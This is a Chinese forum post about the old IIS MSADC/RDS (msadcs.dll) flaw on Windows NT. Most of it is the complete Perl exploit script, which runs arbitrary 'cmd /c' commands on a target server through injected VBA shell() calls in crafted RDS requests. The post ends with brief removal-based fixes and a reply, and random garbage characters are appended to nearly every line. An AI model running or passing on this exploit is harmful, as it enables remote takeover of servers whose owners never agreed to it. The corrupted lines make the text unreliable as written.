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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) TftHwe):V  
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涉及程序: m0LTx\w!  
Microsoft NT server 8d?g]DEN)6  
"5;;)\o ~  
描述: @.G[s)x  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 hZh9uI7.  
^[]}R:  
详细: f~Fm4 >\(  
如果你没有时间读详细内容的话,就删除: x\F,SEj  
c:\Program Files\Common Files\System\Msadc\msadcs.dll b|cyjDMAA  
有关的安全问题就没有了。 20vXSYa~  
]d,S749(s  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >2~+.WePu  
350_CN,  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 u`y><w4i  
关于利用ODBC远程漏洞的描述,请参看: T6H}/#*tK  
MxSM@3v(  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wSb 1"a  
3= xhoRX  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 S>.SSXlM  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q@ 2i~Qo[  
8#(Q_  
这里不再论述。 V+Cwzc^j  
7:9.&W/KE  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L!=4N!j  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset XEn*?.e  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! I *x[:)X8  
Jj,U RD&0R  
Gqcq,_?gt  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !,[C] Q1  
p[<Dk$7K  
#!perl QFg sq{  
# b8LoIY*  
# MSADC/RDS 'usage' (aka exploit) script fRy^Q_~,  
# -:30:oq  
# by rain.forest.puppy ~n[xtWO0  
# ox:[f9.5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +x_Rfk$fb  
# beta test and find errors! GDu~d<RH  
2R=DB`3  
use Socket; use Getopt::Std; bhkUKxd  
getopts("e:vd:h:XR", \%args); SG-'R1 J  
}:u~K;O87  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; FL(6?8zK  
(S xR`QP?,  
if (!defined $args{h} && !defined $args{R}) { v-yde >(  
print qq~ _@ *+~9%8p  
Usage: msadc.pl -h <host> { -d <delay> -X -v } wNQ*t-K  
-h <host> = host you want to scan (ip or domain) } b=}uiR#  
-d <seconds> = delay between calls, default 1 second :T]o)  
-X = dump Index Server path table, if available si&S%4(  
-v = verbose ]xX$<@HR  
-e = external dictionary file for step 5 0KMctPT]p  
Kl2lbe7  
Or a -R will resume a command session )\6&12rj  
X5X?&* %{  
~; exit;} 0j30LXI_  
T/^Hz4uA7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; A81ls#is  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .pfP7weQ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} C0S^h<iSe*  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 1AG=%F|.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `}BF${vF  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } AZa 6 C w  
F%i^XA]a*  
if (!defined $args{R}){ $ret = &has_msadc; .so[I  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} jy giG&H  
Qtbbb3m;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ku\Y'ub  
. "cmd /c "; F1jglH/MF)  
$in=<STDIN>; chomp $in; usEwm,b)  
$command="cmd /c " . $in ; ~_Lr=CD;4  
([-|}  
if (defined $args{R}) {&load; exit;} Z^]|o<.<I  
deM7fN4lTi  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; aYuD>rD  
&try_btcustmr; " R-!(9k^`  
OiE;B  
print "\nStep 2: Trying to make our own DSN..."; TjHwjRa  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ,0E{h}(  
UW9?p}F  
print "\nStep 3: Trying known DSNs..."; 3}@_hS"^8  
&known_dsn; H^.IY_I`U*  
6oLwfTy  
print "\nStep 4: Trying known .mdbs..."; 0 ;b[QRmy  
&known_mdb; b&=5m  
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if (defined $args{e}){ &^}6 9  
print "\nStep 5: Trying dictionary of DSN names..."; |1ST=O7.LH  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } YO}1(m  
wjh=Q  
print "Sorry Charley...maybe next time?\n"; Zs}5Smjl;%  
exit; aX~%5 mF  
AX= 1b,s  
############################################################################## Wx~k&[&E  
<{2e#Y  
sub sendraw { # ripped and modded from whisker 3&6#F"7  
sleep($delay); # it's a DoS on the server! At least on mine... M/):e$S  
my ($pstr)=@_; ?0YCpn  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &g.@u~SI1  
die("Socket problems\n"); C4hx@abA  
if(connect(S,pack "SnA4x8",2,80,$target)){ i&vaeP25)  
select(S); $|=1; v.:3"<ur}  
print $pstr; my @in=<S>; ynw5-aS3  
select(STDOUT); close(S);  )$`wIp  
return @in; [8Qro8  
} else { die("Can't connect...\n"); }} TQ{Han!  
3,]gEE3  
############################################################################## RjWqGr;bO  
Wm);C~Le  
sub make_header { # make the HTTP request $KLD2BAL  
my $msadc=<<EOT mwY IJy[  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 J?Dq>%+ ^  
User-Agent: ACTIVEDATA K]j0_~3s  
Host: $ip ,RgB$TcE  
Content-Length: $clen g8w2Vz2/  
Connection: Keep-Alive )ZBY* lk9  
_UT$,0u_i  
ADCClientVersion:01.06 ^2$ lJ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  qNm$Fx  
-jn WZ5.  
--!ADM!ROX!YOUR!WORLD! - !>}_AH  
Content-Type: application/x-varg Ov UI@,Ef  
Content-Length: $reqlen N.4q.  
.[Ap=UYI>  
EOT +=]!P#  
; $msadc=~s/\n/\r\n/g; @FC"nM  
return $msadc;} ' j6gG  
YKbaf(K )9  
############################################################################## P%#*-zCCx  
'Fs)Rx}\0  
sub make_req { # make the RDS request KAsS [  
my ($switch, $p1, $p2)=@_; ovwQ2TuK  
my $req=""; my $t1, $t2, $query, $dsn; GEEW?8  
u$D*tqxG  
if ($switch==1){ # this is the btcustmr.mdb query (u]N  
$query="Select * from Customers where City=" . make_shell(); MB%Q WU  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \~ BDm  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} f8SL3+v  
m$9w"8R  
elsif ($switch==2){ # this is general make table query f+|$&p%  
$query="create table AZZ (B int, C varchar(10))"; Qc[3Fq,f  
$dsn="$p1";} 8E8N6  
kN%MP 6?J  
elsif ($switch==3){ # this is general exploit table query &AlJ "N|  
$query="select * from AZZ where C=" . make_shell(); A<6%r7&B'  
$dsn="$p1";} q~@]W=  
eeHP&1= 7  
elsif ($switch==4){ # attempt to hork file info from index server S.Z9$k%   
$query="select path from scope()"; M[z)6 .  
$dsn="Provider=MSIDXS;";} fM #7y [  
UG'bOF4  
elsif ($switch==5){ # bad query @"Z7nJX  
$query="select"; :> &fV  
$dsn="$p1";} .e'eE  
'{ [5M!B  
$t1= make_unicode($query); w~#nYM=fP!  
$t2= make_unicode($dsn); -tnQCwq#  
$req = "\x02\x00\x03\x00"; %0 #XPc("  
$req.= "\x08\x00" . pack ("S1", length($t1)); r?CI)Y;  
$req.= "\x00\x00" . $t1 ; McoK@q ;  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~GuMlV8  
$req.= "\x00\x00" . $t2 ; P_c,BlfGMH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; oW^*l#v  
return $req;} gORJWQv  
w=|GJ 0  
############################################################################## *=fr8  
R/^u/~<  
sub make_shell { # this makes the shell() statement `+t.!tv!  
return "'|shell(\"$command\")|'";} l~D N1z6`  
 Y=`  
############################################################################## it> r+%  
(;%|-{7e-  
sub make_unicode { # quick little function to convert to unicode :K ~  
my ($in)=@_; my $out; H33i*][H  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Ne $"g[uFU  
return $out;} ?=VOD#)  
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############################################################################## Kf 2jD4z}  
q %0Cg=  
sub rdo_success { # checks for RDO return success (this is kludge) hky;CD~$  
my (@in) = @_; my $base=content_start(@in); O$kq`'9  
if($in[$base]=~/multipart\/mixed/){ peJKNX.!q  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} '+ xu#R  
return 0;} c*`>9mv  
goJ|oi  
############################################################################## =?h~.lo  
7 Sa1;%R  
sub make_dsn { # this makes a DSN for us ZhNdB  
my @drives=("c","d","e","f"); BS q)RV/3  
print "\nMaking DSN: "; +n})Y  
foreach $drive (@drives) { }<PxWZ`,\  
print "$drive: "; zZiJ 9 e  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 15$4&=O  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" P/JK$nb  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); l88A=iLgv  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; *jMk/9oa<N  
return 0 if $2 eq "404"; # not found/doesn't exist D0mI09=GtQ  
if($2 eq "200") { v+e|o:o#  
foreach $line (@results) { 9S[XTU  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >a1{397Y}  
} return 0;} @\w,otT  
n6(i`{i  
############################################################################## }tPk@$  
m^_6:Q0F!8  
sub verify_exists { ]I/Vbs  
my ($page)=@_; Qm8) 4?FZ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); uY< H#k  
return $results[0];} O)kg B rB  
!;6Jng%  
############################################################################## "xAWG$b  
b dJ+@r  
sub try_btcustmr { E42eOGp9i  
my @drives=("c","d","e","f"); WZ!WxX>zO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); - O"i3>C  
]O{u tm  
foreach $dir (@dirs) { "+?Cz !i   
print "$dir -> "; # fun status so you can see progress okq[ o90  
foreach $drive (@drives) { \V2,pi8'v  
print "$drive: "; # ditto r}u%#G+K,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; I _i6-<c.Q  
$reqlenlen=length( "$reqlen" ); xsjO)))f  
$clen= 206 + $reqlenlen + $reqlen; pPVRsXy  
Jdy <w&S  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1Uf*^WW4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} +Z!;P Z6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} M[~{Vd  
_ nP;Fx  
############################################################################## !3oKmL5  
Wk^RA_  
sub odbc_error { mL~z~w*s  
my (@in)=@_; my $base; M}0eu(_|  
my $base = content_start(@in); M,3wmW&d6  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w(1Gi$Z(Q)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p.fF}B  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :)jJge&^p  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;Qi }{;+  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~#}Dx :HH  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9kKnAf4Z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Ufo>|A6;$  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5FC4@Ms`  
qQ7w&9r.M  
############################################################################## 1\dn 1Hh  
4gdY`}8b^}  
sub verbose { Je4Z(kj 0  
my ($in)=@_; ^*R(!P^  
return if !$verbose; rVQX7l#YI  
print STDOUT "\n$in\n";} :L0/V~D  
Lc<eRVNd,  
############################################################################## %lr|xX  
P&*sB%B  
sub save { +VEU:1Gt  
my ($p1, $p2, $p3, $p4)=@_; %;z((3F  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; IGFGa@C  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6Ggs JU  
close OUT;} #$\fh;!W  
:f'&z47  
############################################################################## '#O_}|ZN  
*jzLFuWIG  
sub load { "`A:(<x  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {+("C] b  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 4ZT A>   
@p=<IN>; close(IN); y?30_#[dN  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <Y'>F!?#  
$target= inet_aton($ip) || die("inet_aton problems"); (I{ $kB"p  
print "Resuming to $ip ..."; SQE[m9v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ly4Qg\l  
if($p[1]==1) { 0"xPX#Cvj  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *i$ePVU  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |'HLz=5\  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); AB.(CS=i  
if (rdo_success(@results)){print "Success!\n";} q}L+/+b  
else { print "failed\n"; verbose(odbc_error(@results));}} m:`@?n~..  
elsif ($p[1]==3){ Gie@JX  
if(run_query("$p[3]")){ <64HveJ  
print "Success!\n";} else { print "failed\n"; }} v4*rPGv  
elsif ($p[1]==4){ % U`xu.  
if(run_query($drvst . "$p[3]")){ Em13dem  
print "Success!\n"; } else { print "failed\n"; }} N~=A  
exit;} myQ&%M gx  
IGj`_a  
############################################################################## ;n#%G^!H  
Z& !!]"I  
sub create_table { j?(!^ _!m  
my ($in)=@_; 0? bA$y  
$reqlen=length( make_req(2,$in,"") ) - 28; v.Ogf 5  
$reqlenlen=length( "$reqlen" ); Zu<]bv  
$clen= 206 + $reqlenlen + $reqlen; s[3fqdLP&  
my @results=sendraw(make_header() . make_req(2,$in,"")); XOb}<y)r~  
return 1 if rdo_success(@results); /jD-\,:L}  
my $temp= odbc_error(@results); verbose($temp); E\)eu1Hw4B  
return 1 if $temp=~/Table 'AZZ' already exists/; Mxz,wfaH>  
return 0;} c"gsB!xh  
n l/UdgI  
############################################################################## "c`xH@D  
MW Wu@SY  
sub known_dsn { Ar, 9U9  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go c^I0y!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Ef7:y|?  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `U`#I,Ln[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); c5i%(!>  
R U!?-#*  
foreach $dSn (@dsns) { PE@+w#i7*  
print "."; eS!C3xC;J]  
next if (!is_access("DSN=$dSn")); "/%89 HMD  
if(create_table("DSN=$dSn")){ *07sK1wW  
print "$dSn successful\n"; &d$~6'x*  
if(run_query("DSN=$dSn")){  u>cC O'q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ya4?{2h@+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} M^SuV  
mv Ov<x;l  
############################################################################## ~I_owCVZ  
8<PKKDgbfd  
sub is_access { 9q4_j  
my ($in)=@_; zj M/M  
$reqlen=length( make_req(5,$in,"") ) - 28; !G=>ve  
$reqlenlen=length( "$reqlen" ); |KG&HN fP-  
$clen= 206 + $reqlenlen + $reqlen; !Rw&DFU  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8:g!w:$x  
my $temp= odbc_error(@results); 6* rcR]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); )&1!xF   
return 0;} delf ]  
r4k nN 2:  
############################################################################## VQ |^   
p!"(s/=  
sub run_query { Q</h-skLZ  
my ($in)=@_; E8[XG2ye  
$reqlen=length( make_req(3,$in,"") ) - 28; r?p{L F  
$reqlenlen=length( "$reqlen" ); juno.$ 6  
$clen= 206 + $reqlenlen + $reqlen; .)PqN s:  
my @results=sendraw(make_header() . make_req(3,$in,"")); LM,fwAX  
return 1 if rdo_success(@results); $B _Nc*_e  
my $temp= odbc_error(@results); verbose($temp); SPwPCI1?  
return 0;} }C~]=Z  
fD6GQ*  
############################################################################## emWGIo  
q.oLmX  
sub known_mdb { @FX{M..  
my @drives=("c","d","e","f","g"); ;L6Xs_L~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L$JI43HZ  
my $dir, $drive, $mdb; wJIB$3OT  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ph)| j&]  
6v47 QW|'  
# this is sparse, because I don't know of many QrS$P09=\  
my @sysmdbs=( "\\catroot\\icatalog.mdb", __)qw#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", };SV!'9s?~  
"\\system32\\certmdb.mdb", YOw?'+8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :EB,{|m  
"3y}F  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", k,_i#9 X  
"\\cfusion\\cfapps\\forums\\forums_.mdb", YN#XmX%  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", :WX0,-Gn  
"\\cfusion\\cfapps\\security\\realm_.mdb", WN0c %kz=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;QPy:x3  
"\\cfusion\\database\\cfexamples.mdb", nPf'ee  
"\\cfusion\\database\\cfsnippets.mdb", )Qr6/c 8}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", euZ(}+N&  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", YX;nMyD?~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", FzhT$7Gw  
"\\cfusion\\database\\smpolicy.mdb", iG-N  
"\\cfusion\\database\cypress.mdb", BED@?:U#h  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?aJ6ug  
"\\website\\cgi-win\\dbsample.mdb", QMb^&?;s  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5b fb!7-[i  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" S:Xs '0K_  
); #these are just (Jpm KO  
foreach $drive (@drives) { lPS*-p#IZ  
foreach $dir (@dirs){ &7][@v  
foreach $mdb (@sysmdbs) { /co%:}ln  
print "."; 0M\NS$u(Y  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 3H'*?|Y(#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; FfXZ|o$;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ `vEqj v  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; DB8s  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1f;or_f#k?  
UPO^V:.R4  
foreach $drive (@drives) { ysth{[<5F3  
foreach $mdb (@mdbs) { )*HjRTF6G  
print "."; 3ZN>9`  
if(create_table($drv . $drive . $dir . $mdb)){ hho%~^bn(  
print "\n" . $drive . $dir . $mdb . " successful\n"; jZ#UUnR%  
if(run_query($drv . $drive . $dir . $mdb)){ (6-y+ LG  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Lh!z>IWjOG  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5mIXyg 0:  
} sY^lQN  
UT;4U;a,m  
############################################################################## qb$_xIQpDL  
/s8/q2:  
sub hork_idx { MCd F!{  
print "\nAttempting to dump Index Server tables...\n"; i* gKtjx  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "aA_(Ydzj  
$reqlen=length( make_req(4,"","") ) - 28; Xq%*# )M;  
$reqlenlen=length( "$reqlen" ); O\JD,w  
$clen= 206 + $reqlenlen + $reqlen; m+7`\|`jQ  
my @results=sendraw2(make_header() . make_req(4,"","")); &CO| Y(+  
if (rdo_success(@results)){ }{=8&gA0  
my $max=@results; my $c; my %d; /&QQ p3  
for($c=19; $c<$max; $c++){ x _|>n<Z  
$results[$c]=~s/\x00//g; qOgtGN}k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; bQV("~#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;  2$)mC9  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 1gk0l'.z  
$d{"$1$2"}="";} x Ty7lfSe  
foreach $c (keys %d){ print "$c\n"; } z+Z%H#9e  
} else {print "Index server doesn't seem to be installed.\n"; }} qAORWc  
,5kvn   
############################################################################## xv&S[=Dt  
oB}K[3uB:t  
sub dsn_dict { %t{Sb4XZ4k  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^\{J5  
while(<IN>){ ~zj"OG"zOw  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; S|) J{~QH  
next if (!is_access("DSN=$dSn")); kU(kU2u%9  
if(create_table("DSN=$dSn")){ #!1IP~  
print "$dSn successful\n"; IadK@?X6j  
if(run_query("DSN=$dSn")){ ;YM]K R;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ex=)H%_|  
print "Something's borked. Use verbose next time\n";}}} soxfk+ 9  
print "\n"; close(IN);} 6~3jn+K$1  
F'ENq6  
############################################################################## &|NZ8:*+#  
3FuCW  
sub sendraw2 { # ripped and modded from whisker _y"a2M  
sleep($delay); # it's a DoS on the server! At least on mine... uYabJqV  
my ($pstr)=@_; >F~ITk5`Oo  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  kMqD iJ  
die("Socket problems\n"); H8sK}1.  
if(connect(S,pack "SnA4x8",2,80,$target)){ _ flg Q  
print "Connected. Getting data"; i<Q& D\Pv  
open(OUT,">raw.out"); my @in; OMi02tSm  
select(S); $|=1; print $pstr; p&QmIX]BZ  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -Sp/fjlq/  
close(OUT); select(STDOUT); close(S); return @in; hi0XVC95  
} else { die("Can't connect...\n"); }} 5U3qr*/;m  
J+0/ :00(  
############################################################################## )FV6,  
1O23"o5=  
sub content_start { # this will take in the server headers sl%#u9r=  
my (@in)=@_; my $c; zF=#6  
for ($c=1;$c<500;$c++) { +*: }p  
if($in[$c] =~/^\x0d\x0a/){ S;>4i!Mb ^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } C)U #T)  
else { return $c+1; }}} A3<^ U  
return -1;} # it should never get here actually {dZ!I  
t(wZiK}  
############################################################################## L%k67>  
98h :X%  
sub funky { @|E;}:?u  
my (@in)=@_; my $error=odbc_error(@in); Lp!0H `L  
if($error=~/ADO could not find the specified provider/){ |$Qp0vOA}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ,RR;VKj  
exit;} Oe/73| >U  
if($error=~/A Handler is required/){ xSx&79Ez<*  
print "\nServer has custom handler filters (they most likely are patched)\n"; pmoGudaRF  
exit;} \ hrBq^I  
if($error=~/specified Handler has denied Access/){ I7A7X*  
print "\nServer has custom handler filters (they most likely are patched)\n"; Kq8 (d`g}  
exit;}} sC!1B6:  
>,kL p|gA  
############################################################################## >G<4R o"  
f_~}X#._  
sub has_msadc { =obt"K%n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); PIgGXNo  
my $base=content_start(@results); 3,%nkW  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); vwm|I7/w  
return 0;} y9=t;qH@|  
8?A@/  
######################## o@Scz!"g  
U.Pa7tn  
D xe-XKNc.  
解决方案: E1^aAlVSD  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !NIL pimi  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 !}z%#$  
A1mYkG)l  
拿出来充数 哈哈
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